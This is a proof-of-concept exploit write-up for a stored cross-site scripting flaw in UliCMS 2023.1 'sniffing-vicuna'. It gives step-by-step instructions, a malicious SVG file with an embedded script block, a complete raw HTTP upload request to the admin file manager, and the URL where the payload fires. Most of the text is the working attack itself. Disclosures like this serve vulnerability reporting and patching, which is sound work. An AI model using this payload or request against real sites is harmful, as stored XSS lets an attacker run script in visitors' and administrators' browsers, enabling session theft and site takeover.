UliCMS 2023-1 Sniffing-Vicuna Cross Site Scripting

`#Exploit Title: Ulicms-2023.1 sniffing-vicuna - Stored Cross-Site Scripting (XSS)  
#Application: Ulicms  
#Version: 2023.1-sniffing-vicuna  
#Bugs: Stored Xss  
#Technology: PHP  
#Vendor URL: https://en.ulicms.de/  
#Software Link: https://www.ulicms.de/content/files/Releases/2023.1/ulicms-2023.1-sniffing-vicuna-full.zip  
#Date of found: 04-05-2023  
#Author: Mirabbas Ağalarov  
#Tested on: Linux   
  
2. Technical Details & POC  
========================================  
steps:   
  
1. Go to media then to file (http://localhost/dist/admin/index.php?action=files)  
2. upload malicious svg file  
  
svg file content ===>  
  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  
<script type="text/javascript">  
alert(document.location);  
</script>  
</svg>  
  
  
poc request:  
  
POST /dist/admin/fm/upload.php HTTP/1.1  
Host: localhost  
Content-Length: 663  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
Accept: application/json, text/javascript, */*; q=0.01  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryK3CvcSs8xZwzABCl  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
sec-ch-ua-platform: "Linux"  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/dist/admin/fm/dialog.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: last_position=%2F; 64534366316f0_SESSION=g9vdeh7uafdagkn6l8jdk2delv  
Connection: close  
  
------WebKitFormBoundaryK3CvcSs8xZwzABCl  
Content-Disposition: form-data; name="fldr"  
  
  
------WebKitFormBoundaryK3CvcSs8xZwzABCl  
Content-Disposition: form-data; name="files[]"; filename="SVG_XSS.svg"  
Content-Type: image/svg+xml  
  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  
<script type="text/javascript">  
alert(document.location);  
</script>  
</svg>  
------WebKitFormBoundaryK3CvcSs8xZwzABCl--  
  
  
  
3. Go to http://localhost/dist/content/SVG_XSS.svg  
  
`